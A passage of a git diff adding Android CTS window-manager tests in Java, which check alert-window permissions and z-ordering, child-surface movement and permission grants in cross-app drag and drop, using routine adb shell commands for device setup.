+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.Presubmit;
+import android.server.am.ActivityManagerTestBase;
+import android.server.am.WaitForValidActivityState;
+import android.server.am.WindowManagerState;
+
+import org.junit.After;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsWindowManagerDeviceTestCases android.server.wm.AlertWindowsTests
+ */
+@Presubmit
+public class AlertWindowsTests extends ActivityManagerTestBase {
+
+ private static final String PACKAGE_NAME = "android.server.wm.alertwindowapp";
+ private static final String ACTIVITY_NAME = "AlertWindowTestActivity";
+ private static final String SDK_25_PACKAGE_NAME = "android.server.wm.alertwindowappsdk25";
+ private static final String SDK_25_ACTIVITY_NAME = "AlertWindowTestActivitySdk25";
+
+ // From WindowManager.java
+ private static final int TYPE_BASE_APPLICATION = 1;
+ private static final int FIRST_SYSTEM_WINDOW = 2000;
+
+ private static final int TYPE_PHONE = FIRST_SYSTEM_WINDOW + 2;
+ private static final int TYPE_SYSTEM_ALERT = FIRST_SYSTEM_WINDOW + 3;
+ private static final int TYPE_SYSTEM_OVERLAY = FIRST_SYSTEM_WINDOW + 6;
+ private static final int TYPE_PRIORITY_PHONE = FIRST_SYSTEM_WINDOW + 7;
+ private static final int TYPE_SYSTEM_ERROR = FIRST_SYSTEM_WINDOW + 10;
+ private static final int TYPE_APPLICATION_OVERLAY = FIRST_SYSTEM_WINDOW + 38;
+
+ private static final int TYPE_STATUS_BAR = FIRST_SYSTEM_WINDOW;
+ private static final int TYPE_INPUT_METHOD = FIRST_SYSTEM_WINDOW + 11;
+ private static final int TYPE_NAVIGATION_BAR = FIRST_SYSTEM_WINDOW + 19;
+
+ private final List<Integer> mAlertWindowTypes = Arrays.asList(
+ TYPE_PHONE,
+ TYPE_PRIORITY_PHONE,
+ TYPE_SYSTEM_ALERT,
+ TYPE_SYSTEM_ERROR,
+ TYPE_SYSTEM_OVERLAY,
+ TYPE_APPLICATION_OVERLAY);
+ private final List<Integer> mSystemWindowTypes = Arrays.asList(
+ TYPE_STATUS_BAR,
+ TYPE_INPUT_METHOD,
+ TYPE_NAVIGATION_BAR);
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+ setAlertWindowPermission(PACKAGE_NAME, false);
+ setAlertWindowPermission(SDK_25_PACKAGE_NAME, false);
+ executeShellCommand("am force-stop " + PACKAGE_NAME);
+ executeShellCommand("am force-stop " + SDK_25_PACKAGE_NAME);
+ }
+
+ @Test
+ public void testAlertWindowAllowed() throws Exception {
+ runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, true /* hasAlertWindowPermission */,
+ true /* atLeastO */);
+ }
+
+ @Test
+ public void testAlertWindowDisallowed() throws Exception {
+ runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, false /* hasAlertWindowPermission */,
+ true /* atLeastO */);
+ }
+
+ @Test
+ public void testAlertWindowAllowedSdk25() throws Exception {
+ runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
+ true /* hasAlertWindowPermission */, false /* atLeastO */);
+ }
+
+ @Test
+ public void testAlertWindowDisallowedSdk25() throws Exception {
+ runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
+ false /* hasAlertWindowPermission */, false /* atLeastO */);
+ }
+
+ private void runAlertWindowTest(String packageName, String activityName,
+ boolean hasAlertWindowPermission, boolean atLeastO) throws Exception {
+ setComponentName(packageName);
+ setAlertWindowPermission(packageName, hasAlertWindowPermission);
+
+ executeShellCommand(getAmStartCmd(activityName));
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+ mAmWmState.assertVisibility(activityName, true);
+
+ assertAlertWindows(packageName, hasAlertWindowPermission, atLeastO);
+ }
+
+ private void assertAlertWindows(String packageName, boolean hasAlertWindowPermission,
+ boolean atLeastO) {
+ final WindowManagerState wMState = mAmWmState.getWmState();
+
+ final ArrayList<WindowManagerState.WindowState> alertWindows = new ArrayList();
+ wMState.getWindowsByPackageName(packageName, mAlertWindowTypes, alertWindows);
+
+ if (!hasAlertWindowPermission) {
+ assertTrue("Should be empty alertWindows=" + alertWindows, alertWindows.isEmpty());
+ return;
+ }
+
+ if (atLeastO) {
+ // Assert that only TYPE_APPLICATION_OVERLAY was created.
+ for (WindowManagerState.WindowState win : alertWindows) {
+ assertTrue("Can't create win=" + win + " on SDK O or greater",
+ win.getType() == TYPE_APPLICATION_OVERLAY);
+ }
+ }
+
+ final WindowManagerState.WindowState mainAppWindow =
+ wMState.getWindowByPackageName(packageName, TYPE_BASE_APPLICATION);
+
+ assertNotNull(mainAppWindow);
+
+ final WindowManagerState.WindowState lowestAlertWindow = alertWindows.get(0);
+ final WindowManagerState.WindowState highestAlertWindow =
+ alertWindows.get(alertWindows.size() - 1);
+
+ // Assert that the alert windows have higher z-order than the main app window
+ assertTrue("lowestAlertWindow=" + lowestAlertWindow + " less than mainAppWindow="
+ + mainAppWindow, lowestAlertWindow.getZOrder() > mainAppWindow.getZOrder());
+
+ // Assert that legacy alert windows have a lower z-order than the new alert window layer.
+ final WindowManagerState.WindowState appOverlayWindow =
+ wMState.getWindowByPackageName(packageName, TYPE_APPLICATION_OVERLAY);
+ if (appOverlayWindow != null && highestAlertWindow != appOverlayWindow) {
+ assertTrue("highestAlertWindow=" + highestAlertWindow
+ + " greater than appOverlayWindow=" + appOverlayWindow,
+ highestAlertWindow.getZOrder() < appOverlayWindow.getZOrder());
+ }
+
+ // Assert that alert windows are below key system windows.
+ final ArrayList<WindowManagerState.WindowState> systemWindows = new ArrayList();
+ wMState.getWindowsByPackageName(packageName, mSystemWindowTypes, systemWindows);
+ if (!systemWindows.isEmpty()) {
+ final WindowManagerState.WindowState lowestSystemWindow = alertWindows.get(0);
+ assertTrue("highestAlertWindow=" + highestAlertWindow
+ + " greater than lowestSystemWindow=" + lowestSystemWindow,
+ highestAlertWindow.getZOrder() < lowestSystemWindow.getZOrder());
+ }
+ }
+
+ private void setAlertWindowPermission(String packageName, boolean allow) {
+ executeShellCommand("appops set " + packageName + " android:system_alert_window "
+ + (allow ? "allow" : "deny"));
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ChildMovementTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ChildMovementTests.java
new file mode 100644
index 0000000..6ac5035
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ChildMovementTests.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertTrue;
+
+import android.server.am.SurfaceTraceReceiver;
+import android.server.am.WaitForValidActivityState;
+import android.server.am.WindowManagerState.WindowState;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ChildMovementTests extends ParentChildTestBase {
+
+ private List<WindowState> mWindowList = new ArrayList();
+
+ @Override
+ String intentKey() {
+ return "android.server.FrameTestApp.ChildTestCase";
+ }
+
+ @Override
+ String activityName() {
+ return "MovingChildTestActivity";
+ }
+
+ WindowState getSingleWindow(String fullWindowName) {
+ try {
+ mAmWmState.getWmState().getMatchingVisibleWindowState(fullWindowName, mWindowList);
+ return mWindowList.get(0);
+ } catch (Exception e) {
+ logE("Couldn't find window: " + fullWindowName);
+ return null;
+ }
+ }
+
+ WindowState getSingleWindowByPrefix(String prefix) {
+ try {
+ mAmWmState.getWmState().getPrefixMatchingVisibleWindowState(prefix, mWindowList);
+ return mWindowList.get(0);
+ } catch (Exception e) {
+ logE("Couldn't find window: " + prefix);
+ return null;
+ }
+ }
+
+ void doSingleTest(ParentChildTest t) throws Exception {
+ String popupName = "ChildWindow";
+ final WaitForValidActivityState waitForVisible =
+ new WaitForValidActivityState.Builder(popupName).build();
+
+ mAmWmState.setUseActivityNamesForWindowNames(false);
+ mAmWmState.computeState(waitForVisible);
+ WindowState popup = getSingleWindowByPrefix(popupName);
+ WindowState parent = getSingleWindow(getBaseWindowName() + activityName());
+
+ t.doTest(parent, popup);
+ }
+
+
+ Object monitor = new Object();
+ boolean testPassed = false;
+ String popupName = null;
+ String mainName = null;
+
+ SurfaceTraceReceiver.SurfaceObserver observer = new SurfaceTraceReceiver.SurfaceObserver() {
+ int transactionCount = 0;
+ boolean sawChildMove = false;
+ boolean sawMainMove = false;
+ int timesSeen = 0;
+
+ @Override
+ public void openTransaction() {
+ transactionCount++;
+ if (transactionCount == 1) {
+ sawChildMove = false;
+ sawMainMove = false;
+ }
+ }
+
+ @Override
+ public void closeTransaction() {
+ transactionCount--;
+ if (transactionCount != 0) {
+ return;
+ }
+ synchronized (monitor) {
+ if (sawChildMove ^ sawMainMove) {
+ monitor.notifyAll();
+ return;
+ }
+ if (timesSeen > 10) {
+ testPassed = true;
+ monitor.notifyAll();
+ }
+ }
+ }
+
+ @Override
+ public void setPosition(String windowName, float x, float y) {
+ if (windowName.equals(popupName)) {
+ sawChildMove = true;
+ timesSeen++;
+ } else if (windowName.equals(mainName)) {
+ sawMainMove = true;
+ }
+ }
+ };
+
+ /**
+ * Here we test that a Child moves in the same transaction
+ * as its parent. We launch an activity with a Child which will
+ * move around its own main window. Then we listen to WindowManager transactions.
+ * Since the Child is static within the window, if we ever see one of
+ * them move xor the other one we have a problem!
+ */
+ @Test
+ public void testSurfaceMovesWithParent() throws Exception {
+ doFullscreenTest("MovesWithParent",
+ (WindowState parent, WindowState popup) -> {
+ popupName = popup.getName();
+ mainName = parent.getName();
+ installSurfaceObserver(observer);
+ try {
+ synchronized (monitor) {
+ monitor.wait(5000);
+ }
+ } catch (InterruptedException e) {
+ } finally {
+ assertTrue(testPassed);
+ removeSurfaceObserver();
+ }
+ });
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
new file mode 100644
index 0000000..a212aea
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -0,0 +1,549 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.content.pm.PackageManager.FEATURE_FREEFORM_WINDOW_MANAGEMENT;
+import static android.server.am.ActivityManagerTestBase.executeShellCommand;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.graphics.Point;
+import android.os.RemoteException;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Map;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsWindowManagerDeviceTestCases android.server.wm.CrossAppDragAndDropTests
+ */
+//@Presubmit b/68038788
+public class CrossAppDragAndDropTests {
+ private static final String TAG = "CrossAppDragAndDrop";
+
+ private static final String AM_FORCE_STOP = "am force-stop ";
+ private static final String AM_MOVE_TASK = "am stack move-task ";
+ private static final String AM_RESIZE_TASK = "am task resize ";
+ private static final String AM_REMOVE_STACK = "am stack remove ";
+ private static final String AM_START_N = "am start -n ";
+ private static final String AM_STACK_LIST = "am stack list";
+ private static final String TASK_ID_PREFIX = "taskId";
+
+ // Regex pattern to match adb shell am stack list output of the form:
+ // taskId=<TASK_ID>: <componentName> bounds=[LEFT,TOP][RIGHT,BOTTOM]
+ private static final String TASK_REGEX_PATTERN_STRING =
+ "taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
+
+ private static final int SWIPE_STEPS = 100;
+
+ private static final String SOURCE_PACKAGE_NAME = "android.server.wm.dndsourceapp";
+ private static final String TARGET_PACKAGE_NAME = "android.server.wm.dndtargetapp";
+ private static final String TARGET_23_PACKAGE_NAME = "android.server.wm.dndtargetappsdk23";
+
+
+ private static final String SOURCE_ACTIVITY_NAME = "DragSource";
+ private static final String TARGET_ACTIVITY_NAME = "DropTarget";
+
+ private static final String FILE_GLOBAL = "file_global";
+ private static final String FILE_LOCAL = "file_local";
+ private static final String DISALLOW_GLOBAL = "disallow_global";
+ private static final String CANCEL_SOON = "cancel_soon";
+ private static final String GRANT_NONE = "grant_none";
+ private static final String GRANT_READ = "grant_read";
+ private static final String GRANT_WRITE = "grant_write";
+ private static final String GRANT_READ_PREFIX = "grant_read_prefix";
+ private static final String GRANT_READ_NOPREFIX = "grant_read_noprefix";
+ private static final String GRANT_READ_PERSISTABLE = "grant_read_persistable";
+
+ private static final String REQUEST_NONE = "request_none";
+ private static final String REQUEST_READ = "request_read";
+ private static final String REQUEST_READ_NESTED = "request_read_nested";
+ private static final String REQUEST_TAKE_PERSISTABLE = "request_take_persistable";
+ private static final String REQUEST_WRITE = "request_write";
+
+ private static final String SOURCE_LOG_TAG = "DragSource";
+ private static final String TARGET_LOG_TAG = "DropTarget";
+
+ private static final String RESULT_KEY_START_DRAG = "START_DRAG";
+ private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
+ private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
+ private static final String RESULT_KEY_EXTRAS = "EXTRAS";
+ private static final String RESULT_KEY_DROP_RESULT = "DROP";
+ private static final String RESULT_KEY_ACCESS_BEFORE = "BEFORE";
+ private static final String RESULT_KEY_ACCESS_AFTER = "AFTER";
+ private static final String RESULT_KEY_CLIP_DATA_ERROR = "CLIP_DATA_ERROR";
+ private static final String RESULT_KEY_CLIP_DESCR_ERROR = "CLIP_DESCR_ERROR";
+ private static final String RESULT_KEY_LOCAL_STATE_ERROR = "LOCAL_STATE_ERROR";
+
+ private static final String RESULT_MISSING = "Missing";
+ private static final String RESULT_OK = "OK";
+ private static final String RESULT_EXCEPTION = "Exception";
+ private static final String RESULT_NULL_DROP_PERMISSIONS = "Null DragAndDropPermissions";
+
+ private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
+ "am supports-split-screen-multi-window";
+
+ protected Context mContext;
+ protected ActivityManager mAm;
+ private UiDevice mDevice;
+
+ private Map<String, String> mSourceResults;
+ private Map<String, String> mTargetResults;
+
+ private String mSourcePackageName;
+ private String mTargetPackageName;
+
+ private String mSessionId;
+ private String mSourceLogTag;
+ private String mTargetLogTag;
+
+ @Before
+ public void setUp() throws Exception {
+ // Use uptime in seconds as unique test invocation id.
+ mSessionId = Long.toString(SystemClock.uptimeMillis() / 1000);
+ mSourceLogTag = SOURCE_LOG_TAG + mSessionId;
+ mTargetLogTag = TARGET_LOG_TAG + mSessionId;
+
+ mContext = InstrumentationRegistry.getContext();
+ mAm = mContext.getSystemService(ActivityManager.class);
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ if (!supportsDragAndDrop()) {
+ return;
+ }
+
+ mSourcePackageName = SOURCE_PACKAGE_NAME;
+ mTargetPackageName = TARGET_PACKAGE_NAME;
+ cleanupState();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (!supportsDragAndDrop()) {
+ return;
+ }
+
+ executeShellCommand(AM_FORCE_STOP + mSourcePackageName);
+ executeShellCommand(AM_FORCE_STOP + mTargetPackageName);
+ }
+
+ private void clearLogs() {
+ executeShellCommand("logcat -c");
+ }
+
+ private String getStartCommand(String componentName, String modeExtra, String logtag) {
+ return AM_START_N + componentName + " -e mode " + modeExtra + " -e logtag " + logtag;
+ }
+
+ private String getMoveTaskCommand(int taskId, int stackId) {
+ return AM_MOVE_TASK + taskId + " " + stackId + " true";
+ }
+
+ private String getResizeTaskCommand(int taskId, Point topLeft, Point bottomRight)
+ throws Exception {
+ return AM_RESIZE_TASK + taskId + " " + topLeft.x + " " + topLeft.y + " " + bottomRight.x
+ + " " + bottomRight.y;
+ }
+
+ private String getComponentName(String packageName, String activityName) {
+ return packageName + "/" + packageName + "." + activityName;
+ }
+
+ /**
+ * Make sure that the special activity stacks are removed and the ActivityManager/WindowManager
+ * is in a good state.
+ */
+ private void cleanupState() throws Exception {
+ executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
+ executeShellCommand(AM_FORCE_STOP + TARGET_PACKAGE_NAME);
+ executeShellCommand(AM_FORCE_STOP + TARGET_23_PACKAGE_NAME);
+ unlockDevice();
+ clearLogs();
+
+ // Remove special stacks.
+ mAm.removeStacksInWindowingModes(new int[] {
+ WINDOWING_MODE_PINNED,
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY,
+ WINDOWING_MODE_FREEFORM
+ });
+ }
+
+ private void launchDockedActivity(String packageName, String activityName, String mode,
+ String logtag) throws Exception {
+ clearLogs();
+ final String componentName = getComponentName(packageName, activityName);
+ executeShellCommand(getStartCommand(componentName, mode, logtag) + " --windowingMode "
+ + WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ waitForResume(packageName, activityName);
+ }
+
+ private void launchFullscreenActivity(String packageName, String activityName, String mode,
+ String logtag) throws Exception {
+ clearLogs();
+ final String componentName = getComponentName(packageName, activityName);
+ executeShellCommand(getStartCommand(componentName, mode, logtag) + " --windowingMode "
+ + WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ waitForResume(packageName, activityName);
+ }
+
+ /**
+ * @param displaySize size of the display
+ * @param leftSide {@code true} to launch the app taking up the left half of the display,
+ * {@code false} to launch the app taking up the right half of the display.
+ */
+ private void launchFreeformActivity(String packageName, String activityName, String mode,
+ String logtag, Point displaySize, boolean leftSide) throws Exception {
+ clearLogs();
+ final String componentName = getComponentName(packageName, activityName);
+ executeShellCommand(getStartCommand(componentName, mode, logtag) + " --windowingMode "
+ + WINDOWING_MODE_FREEFORM);
+ waitForResume(packageName, activityName);
+ Point topLeft = new Point(leftSide ? 0 : displaySize.x / 2, 0);
+ Point bottomRight = new Point(leftSide ? displaySize.x / 2 : displaySize.x, displaySize.y);
+ executeShellCommand(getResizeTaskCommand(getActivityTaskId(componentName), topLeft,
+ bottomRight));
+ }
+
+ private void waitForResume(String packageName, String activityName) throws Exception {
+ final String fullActivityName = packageName + "." + activityName;
+ int retryCount = 3;
+ do {
+ Thread.sleep(500);
+ String logs = executeShellCommand("logcat -d -b events");
+ for (String line : logs.split("\\n")) {
+ if (line.contains("am_on_resume_called") && line.contains(fullActivityName)) {
+ return;
+ }
+ }
+ } while (retryCount-- > 0);
+
+ throw new Exception(fullActivityName + " has failed to start");
+ }
+
+ private void injectInput(Point from, Point to, int steps) throws Exception {
+ mDevice.drag(from.x, from.y, to.x, to.y, steps);
+ }
+
+ private String findTaskInfo(String name) {
+ final String output = executeShellCommand(AM_STACK_LIST);
+ final StringBuilder builder = new StringBuilder();
+ builder.append("Finding task info for task: ");
+ builder.append(name);
+ builder.append("\nParsing adb shell am output: ");
+ builder.append(output);
+ log(builder.toString());
+ final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
+ for (String line : output.split("\\n")) {
+ final String truncatedLine;
+ // Only look for the activity name before the "topActivity" string.
+ final int pos = line.indexOf("topActivity");
+ if (pos > 0) {
+ truncatedLine = line.substring(0, pos);
+ } else {
+ truncatedLine = line;
+ }
+ if (pattern.matcher(truncatedLine).find()) {
+ return truncatedLine;
+ }
+ }
+ return "";
+ }
+
+ private boolean getWindowBounds(String name, Point from, Point to) throws Exception {
+ final String taskInfo = findTaskInfo(name);
+ final String[] sections = taskInfo.split("\\[");
+ if (sections.length > 2) {
+ try {
+ parsePoint(sections[1], from);
+ parsePoint(sections[2], to);
+ return true;
+ } catch (Exception e) {
+ return false;
+ }
+ }
+ return false;
+ }
+
+ private int getActivityTaskId(String name) {
+ final String taskInfo = findTaskInfo(name);
+ for (String word : taskInfo.split("\\s+")) {
+ if (word.startsWith(TASK_ID_PREFIX)) {
+ final String withColon = word.split("=")[1];
+ return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
+ }
+ }
+ return -1;
+ }
+
+ private Point getDisplaySize() throws Exception {
+ final String output = executeShellCommand("wm size");
+ final String[] sizes = output.split(" ")[2].split("x");
+ return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
+ }
+
+ private Point getWindowCenter(String name) throws Exception {
+ Point p1 = new Point();
+ Point p2 = new Point();
+ if (getWindowBounds(name, p1, p2)) {
+ return new Point((p1.x + p2.x) / 2, (p1.y + p2.y) / 2);
+ }
+ return null;
+ }
+
+ private void parsePoint(String string, Point point) {
+ final String[] parts = string.split("[,|\\]]");
+ point.x = Integer.parseInt(parts[0]);
+ point.y = Integer.parseInt(parts[1]);
+ }
+
+ private void unlockDevice() {
+ // Wake up the device, if necessary.
+ try {
+ mDevice.wakeUp();
+ } catch (RemoteException e) {
+ throw new RuntimeException(e);
+ }
+ // Unlock the screen.
+ mDevice.pressMenu();
+ }
+
+ private void assertDropResult(String sourceMode, String targetMode, String expectedDropResult)
+ throws Exception {
+ assertDragAndDropResults(sourceMode, targetMode, RESULT_OK, expectedDropResult, RESULT_OK);
+ }
+
+ private void assertNoGlobalDragEvents(String sourceMode, String expectedStartDragResult)
+ throws Exception {
+ assertDragAndDropResults(
+ sourceMode, REQUEST_NONE, expectedStartDragResult, RESULT_MISSING, RESULT_MISSING);
+ }
+
+ private void assertDragAndDropResults(String sourceMode, String targetMode,
+ String expectedStartDragResult, String expectedDropResult,
+ String expectedListenerResults) throws Exception {
+ if (!supportsDragAndDrop()) {
+ return;
+ }
+
+ Log.e(TAG, "session: " + mSessionId + ", source: " + sourceMode
+ + ", target: " + targetMode);
+
+ if (supportsSplitScreenMultiWindow()) {
+ launchDockedActivity(
+ mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode, mSourceLogTag);
+ launchFullscreenActivity(
+ mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode, mTargetLogTag);
+ } else if (supportsFreeformMultiWindow()) {
+ // Fallback to try to launch two freeform windows side by side.
+ Point displaySize = getDisplaySize();
+ launchFreeformActivity(
+ mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode, mSourceLogTag,
+ displaySize, true /* leftSide */);
+ launchFreeformActivity(
+ mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode, mTargetLogTag,
+ displaySize, false /* leftSide */);
+ } else {
+ return;
+ }
+
+ Point p1 = getWindowCenter(getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME));
+ assertNotNull(p1);
+ Point p2 = getWindowCenter(getComponentName(mTargetPackageName, TARGET_ACTIVITY_NAME));
+ assertNotNull(p2);
+
+ TestLogService.registerClient(mSourceLogTag, RESULT_KEY_START_DRAG);
+ TestLogService.registerClient(mTargetLogTag, RESULT_KEY_DRAG_ENDED);
+
+ injectInput(p1, p2, SWIPE_STEPS);
+
+ mSourceResults = TestLogService.getResultsForClient(mSourceLogTag, 1000);
+ assertSourceResult(RESULT_KEY_START_DRAG, expectedStartDragResult);
+
+ mTargetResults = TestLogService.getResultsForClient(mTargetLogTag, 1000);
+ assertTargetResult(RESULT_KEY_DROP_RESULT, expectedDropResult);
+ if (!RESULT_MISSING.equals(expectedDropResult)) {
+ assertTargetResult(RESULT_KEY_ACCESS_BEFORE, RESULT_EXCEPTION);
+ assertTargetResult(RESULT_KEY_ACCESS_AFTER, RESULT_EXCEPTION);
+ }
+ assertListenerResults(expectedListenerResults);
+ }
+
+ private void assertListenerResults(String expectedResult) throws Exception {
+ assertTargetResult(RESULT_KEY_DRAG_STARTED, expectedResult);
+ assertTargetResult(RESULT_KEY_DRAG_ENDED, expectedResult);
+ assertTargetResult(RESULT_KEY_EXTRAS, expectedResult);
+
+ assertTargetResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_MISSING);
+ assertTargetResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_MISSING);
+ assertTargetResult(RESULT_KEY_LOCAL_STATE_ERROR, RESULT_MISSING);
+ }
+
+ private void assertSourceResult(String resultKey, String expectedResult) throws Exception {
+ assertResult(mSourceResults, resultKey, expectedResult);
+ }
+
+ private void assertTargetResult(String resultKey, String expectedResult) throws Exception {
+ assertResult(mTargetResults, resultKey, expectedResult);
+ }
+
+ private void assertResult(Map<String, String> results, String resultKey, String expectedResult)
+ throws Exception {
+ if (!supportsDragAndDrop()) {
+ return;
+ }
+
+ if (RESULT_MISSING.equals(expectedResult)) {
+ if (results.containsKey(resultKey)) {
+ fail("Unexpected " + resultKey + "=" + results.get(resultKey));
+ }
+ } else {
+ assertTrue("Missing " + resultKey, results.containsKey(resultKey));
+ assertEquals(resultKey + " result mismatch,", expectedResult,
+ results.get(resultKey));
+ }
+ }
+
+ private boolean supportsDragAndDrop() {
+ String supportsMultiwindow = executeShellCommand("am supports-multiwindow").trim();
+ if ("true".equals(supportsMultiwindow)) {
+ return true;
+ } else if ("false".equals(supportsMultiwindow)) {
+ return false;
+ } else {
+ throw new RuntimeException(
+ "device does not support \"am supports-multiwindow\" shell command.");
+ }
+ }
+
+ private boolean supportsSplitScreenMultiWindow() {
+ return !executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW).startsWith("false");
+ }
+
+ private boolean supportsFreeformMultiWindow() {
+ return InstrumentationRegistry.getContext()
+ .getPackageManager()
+ .hasSystemFeature(FEATURE_FREEFORM_WINDOW_MANAGEMENT);
+ }
+
+ @Test
+ public void testCancelSoon() throws Exception {
+ assertDropResult(CANCEL_SOON, REQUEST_NONE, RESULT_MISSING);
+ }
+
+ @Test
+ public void testDisallowGlobal() throws Exception {
+ assertNoGlobalDragEvents(DISALLOW_GLOBAL, RESULT_OK);
+ }
+
+ @Test
+ public void testDisallowGlobalBelowSdk24() throws Exception {
+ mTargetPackageName = TARGET_23_PACKAGE_NAME;
+ assertNoGlobalDragEvents(GRANT_NONE, RESULT_OK);
+ }
+
+ @Test
+ public void testFileUriLocal() throws Exception {
+ assertNoGlobalDragEvents(FILE_LOCAL, RESULT_OK);
+ }
+
+ @Test
+ public void testFileUriGlobal() throws Exception {
+ assertNoGlobalDragEvents(FILE_GLOBAL, RESULT_EXCEPTION);
+ }
+
+ @Test
+ public void testGrantNoneRequestNone() throws Exception {
+ assertDropResult(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION);
+ }
+
+ @Test
+ public void testGrantNoneRequestRead() throws Exception {
+ assertDropResult(GRANT_NONE, REQUEST_READ, RESULT_NULL_DROP_PERMISSIONS);
+ }
+
+ @Test
+ public void testGrantNoneRequestWrite() throws Exception {
+ assertDropResult(GRANT_NONE, REQUEST_WRITE, RESULT_NULL_DROP_PERMISSIONS);
+ }
+
+ @Test
+ public void testGrantReadRequestNone() throws Exception {
+ assertDropResult(GRANT_READ, REQUEST_NONE, RESULT_EXCEPTION);
+ }
+
+ @Test
+ public void testGrantReadRequestRead() throws Exception {
+ assertDropResult(GRANT_READ, REQUEST_READ, RESULT_OK);
+ }
+
+ @Test
+ public void testGrantReadRequestWrite() throws Exception {
+ assertDropResult(GRANT_READ, REQUEST_WRITE, RESULT_EXCEPTION);
+ }
+
+ @Test
+ public void testGrantReadNoPrefixRequestReadNested() throws Exception {
+ assertDropResult(GRANT_READ_NOPREFIX, REQUEST_READ_NESTED, RESULT_EXCEPTION);
+ }
+
+ @Test
+ public void testGrantReadPrefixRequestReadNested() throws Exception {
+ assertDropResult(GRANT_READ_PREFIX, REQUEST_READ_NESTED, RESULT_OK);
+ }
+
+ @Test
+ public void testGrantPersistableRequestTakePersistable() throws Exception {
+ assertDropResult(GRANT_READ_PERSISTABLE, REQUEST_TAKE_PERSISTABLE, RESULT_OK);
+ }
+
+ @Test
+ public void testGrantReadRequestTakePersistable() throws Exception {
+ assertDropResult(GRANT_READ, REQUEST_TAKE_PERSISTABLE, RESULT_EXCEPTION);
+ }
+
+ @Test
+ public void testGrantWriteRequestNone() throws Exception {
+ assertDropResult(GRANT_WRITE, REQUEST_NONE, RESULT_EXCEPTION);
+ }
+
